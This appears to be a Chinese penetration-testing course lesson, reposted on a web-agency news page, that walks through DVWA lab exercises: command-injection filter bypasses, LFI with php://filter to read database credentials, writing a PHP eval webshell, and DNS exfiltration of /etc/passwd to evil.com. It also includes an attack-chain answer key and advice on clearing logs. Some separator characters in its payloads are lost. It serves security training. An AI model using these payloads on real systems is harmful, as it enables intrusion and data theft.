ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

【八个月网安课程】第八周·周六:靶场命令/代码执行漏洞综合通关——从单点利用到攻击链

【八个月网安课程】第八周·周六:靶场命令/代码执行漏洞综合通关——从单点利用到攻击链 以下是第八周周六的详细学习内容。今天将不再有新的漏洞类型而是将你过去一周所学的目录遍历、文件包含、命令注入有回显与无回显全部串联起来在多个靶场场景中完成综合实战。你将脱离“单漏洞利用”的思维开始构建“从信息收集到权限获取”的完整攻击链。第八周·周六靶场命令/代码执行漏洞综合通关——从单点利用到攻击链 今日学习目标达成效果能独立完成DVWA 命令注入关卡的 Low/Medium/High 三个安全级别的手工利用灵活切换分隔符绕过黑名单能将文件包含漏洞与命令注入结合通过 LFI 读取源码获取数据库凭据再利用命令注入写入 Webshell能在没有回显的环境中模拟使用 DNS 外带或延时判断确认漏洞存在并最终通过写入文件获得持久化 Shell能梳理出一个典型的“文件包含→命令执行→权限提升”攻击链并写出每一步的 payload 和原理能用表格总结本周所有漏洞的攻击面、利用条件与防御核心形成自己的安全知识体系。✍️ 一、环境准备与任务清单靶场环境DVWA安全等级可切换用于命令注入、文件包含自建 Python 盲命令注入服务周五的blind_cmd.py可选DNSLog 平台如dnslog.cn或 Burp Collaborator任务清单必须逐项完成并记录通关 DVWA Command Injection 低/中/高三个级别利用 DVWA File Inclusion 读取服务器配置文件发现数据库密码结合命令注入将一句话木马写入 Web 目录获得 Webshell使用 DNS 外带技术验证盲命令注入自建或 DVWA 模拟构建一个完整的攻击链报告见测试题✍️ 二、任务一DVWA Command Injection 全难度通关1. Low 级别无过滤输入127.0.0.1; whoami执行成功复习基础。探索其他分隔符、|、均可用。2. Medium 级别部分过滤DVWA Medium 将和;替换为空字符串但未处理|和等。输入127.0.0.1 whoami→ 过滤后变为127.0.0.1 whoami语法错误无法执行。尝试127.0.0.1 whoami→ 成功执行whoami未被过滤。尝试127.0.0.1 | whoami→ 成功。同时可利用双写绕过若过滤不严谨127.0.0.1 ; whoami不一定有效但足够。记录Medium 的过滤缺失让和|成为突破口。3. High 级别严格黑名单DVWA High 将许多字符替换为空包括、;、|、-、$、(、)、、||等。直接尝试127.0.0.1 | whoami失败|被过滤。可尝试使用换行符%0a绕过部分后端会将其解释为命令分隔127.0.0.1%0awhoami但 DVWA High 可能会过滤%或进行多次过滤。经测试DVWA High 通常仍能用|的变种或使用%0a需在 Burp 中直接修改 POST 参数。发现黑名单漏掉了|后不带空格实际代码中往往用空格分割可尝试127.0.0.1|whoami无空格可能执行。若均不可行可考虑使用%0a在 POST 体中。切换为 POST 方式用 Burp 抓包在target参数后添加%0als通常 High 级别仍接受换行符。通关记录High 级别说明黑名单不可靠必须白名单或参数化。✍️ 三、任务二文件包含读取配置文件获取数据库凭据利用 DVWA File Inclusion (Low) 读取/var/www/html/config/config.inc.php或同级目录的config.php。已知路径尝试?page../../config/config.inc.php直接包含会被执行不显示源码。使用php://filter读取源码?pagephp://filter/readconvert.base64-encode/resource../../config/config.inc.php将返回的 Base64 解码找到$_DVWA[ db_user ]、$_DVWA[ db_password ]等。记录数据库密码例如pssw0rd。安全意义通过 LFI 可以收集更多凭据为下一步写入 Webshell 或数据库操作提供支撑。✍️ 四、任务三结合命令注入写入 Webshell现在你既有命令注入可以执行系统命令又可能知道 Web 目录路径从 LFI 中获取。直接写入一句话木马若目录可写使用命令注入执行127.0.0.1; echo ?php eval($_POST[cmd]); ? /var/www/html/shell.php确认写入成功127.0.0.1; ls -la /var/www/html/shell.php使用蚁剑或 curl 连接curl -d cmdsystem(id); http://靶机/shell.php返回uidwww-data...表示已获得 Webshell。如果命令注入有过滤可利用 Base64 编码写入echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8 | base64 -d shell.php✍️ 五、任务四无回显场景下的 DNS 外带实战回到自建的blind_cmd.py服务或通过修改 DVWA 模拟将 DVWA 命令注入改为不输出但今天我们用自建环境。确认盲注入存在访问http://127.0.0.1:8080/?cmdsleep%204观察延迟。使用 DNSLog 获取当前用户http://127.0.0.1:8080/?cmdnslookup%20%60whoami%60.abc123.dnslog.cn从 DNSLog 平台查看结果。若想获取/etc/passwd内容分段外带因长度限制cmd$(cat/etc/passwd|base64|tr-d\n);foriin$(echo$cmd|fold-w30);donslookup$i.evil.com;done在真实渗透中可写脚本自动化。结论即使完全无回显通过 DNS 外带仍可窃取任意文件内容。✍️ 六、任务五构建完整攻击链报告今日测试题综合今天的操作写出一个虚构或实际的攻击场景报告体现“文件包含→信息收集→命令注入→权限提升”链路。测试题要求测试题假设你发现某网站存在文件包含漏洞和命令注入漏洞DVWA 场景。请描述一个完整的攻击过程从最初的探测到最终获取服务器权限写出每步使用的 payload并解释其作用。参考答案示例发现文件包含漏洞通过?page../../../../etc/passwd确认存在 LFI。读取配置文件利用php://filter读取/var/www/html/config.php得到数据库账号密码。发现命令注入在另一个输入 IP 的功能处输入127.0.0.1; sleep 5确认执行延迟。写入 Webshell使用命令注入执行echo ?php eval($_POST[cmd]); ? /var/www/html/s.php。连接 Webshell通过蚁剑连接http://target/s.php密码cmd成功获取www-data权限。权限提升后续阶段通过 SUID 查找或内核提权进一步获取 root。✅ 今日学习效果自检清单我通关了 DVWA 命令注入 Low/Medium/High 全部级别我使用 LFI 读取了网站的数据库配置文件我通过命令注入成功写入了 Webshell 并连接执行命令我在无回显环境中使用 DNS 外带获取了系统信息我能清晰描述一条“信息收集→漏洞利用→权限获取”的完整攻击链我理解防御这些漏洞的核心输入校验、最小权限、禁用危险函数、限制出站流量⚠️ 阶段避坑重点不要依赖单一手法当分隔符被过滤时应立刻尝试其他字符或编码绕过。记录每种环境下的有效 payload 是成为专业渗透者的关键。写入 Webshell 时注意目录权限Web 目录通常可写但如果不可写可能需要写入/tmp并结合文件包含执行进阶。DNS 外带数据的长度限制域名标签最长 63 字符中文等 UTF-8 字符可能被转义需要分段或编码。清理痕迹实验结束后删除写入的 Webshell 和日志中的恶意记录保持环境干净。 恭喜你完成了第八周全部内容。通过这一周的密集训练你已经能够独立利用命令执行类漏洞并在完全无回显的情况下窃取数据。下周我们将进入更前沿的逻辑漏洞、文件上传高级绕过等 Web 安全深水区。你的攻击链思维已经形成继续前进。
返回列表